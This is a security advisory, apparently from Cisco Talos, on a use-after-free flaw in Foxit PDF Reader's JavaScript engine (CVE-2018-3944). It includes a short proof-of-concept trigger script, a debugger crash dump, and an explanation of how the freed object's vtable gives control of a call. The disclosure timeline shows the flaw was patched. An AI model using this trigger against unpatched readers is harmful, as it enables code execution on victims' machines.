CVE-2018-3944
An exploitable use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 9.1.0.5096. A specially crafted PDF document can trigger a previously freed object in memory to be reused, resulting in arbitrary code execution. An attacker needs to trick the user to open the malicious file to trigger this vulnerability. If the browser plugin extension is enabled, visiting a malicious site can also trigger the vulnerability.
Foxit Software Foxit PDF Reader 9.1.0.5096.
https://www.foxitsoftware.com/products/pdf-reader/
8.0 - CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
CWE-416: Use-after-free
Foxit PDF Reader is one of the most popular PDF document readers, and has a widespread user base. It aims to have feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface.
When executing embedded JavaScript code, a document can be closed, which essentially frees a lot of used objects, but the JavaScript can continue to execute. Invoking a method which keeps a stale reference to a now-freed object can lead to a use-after-free condition, which can be abused to execute arbitrary code.
This particular vulnerability lies in invoking the JSON.Stringify
method of the active document with the this
object as argument, which can trigger a use-after-free condition like in the following code:
function f0() {
var a;
app.activeDocs[0].closeDoc();
a = this;
JSON.stringify(a);
}
f0();
In the above code, we make a reference to the this
object as variable a
. Then, the document is closed. Afterward, calling JSON.stringify
with a
as argument leads to a use-after-free vulnerability.
Opening this proof-of-concept PDF document in Foxit Reader with PageHeap enabled results in the following crash:
(1160.1618): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12abfff0 ebx=12a16f28 ecx=0e9d4da8 edx=0024dedc esi=12abfff0 edi=0024dfa8
eip=01b5d1c5 esp=0024de40 ebp=0024de9c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
FoxitReader!CryptVerifyMessageSignature+0x85915:
01b5d1c5 8b01 mov eax,dword ptr [ecx] ds:0023:0e9d4da8=????????
0:000> k 4
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0024de9c 01b62599 FoxitReader!CryptVerifyMessageSignature+0x85915
01 0024def8 0172182e FoxitReader!CryptVerifyMessageSignature+0x8ace9
02 0024df3c 02c29d10 FoxitReader+0x38182e
03 0024df68 02ab4403 FoxitReader!CryptVerifyMessageSignature+0x1152460
0:000> u
FoxitReader!CryptVerifyMessageSignature+0x85915:
01b5d1c5 8b01 mov eax,dword ptr [ecx]
01b5d1c7 8b5004 mov edx,dword ptr [eax+4]
01b5d1ca ffd2 call edx
01b5d1cc 85c0 test eax,eax
01b5d1ce 74d2 je FoxitReader!CryptVerifyMessageSignature+0x858f2 (01b5d1a2)
01b5d1d0 8b705c mov esi,dword ptr [eax+5Ch]
01b5d1d3 85f6 test esi,esi
01b5d1d5 74cb je FoxitReader!CryptVerifyMessageSignature+0x858f2 (01b5d1a2)
Analyzing the heap state clearly shows that ecx
points into an unallocated freed memory region. And if we take a look at the code immediately following the point of crash, we can see eax
being used as a vtable pointer, ultimately leading to call
instruction with controllable operand. Since the contents of memory pointed to by ecx
can easily be controlled, this leads to relatively straightforward conditions for arbitrary code execution.
Note that this vulnerability is almost the same as the use-after-free condition triggered in JSON.stringify triggered with this.info
object described in TALOS-2018-0612, but in this case, a different object is actually reused and the crash occurs in a different place.
2018-06-05 - Vendor Disclosure
2018-09-28 - Vendor Patched
2018-10-01 - Public Release
Discovered by Aleksandar Nikolic of Cisco Talos.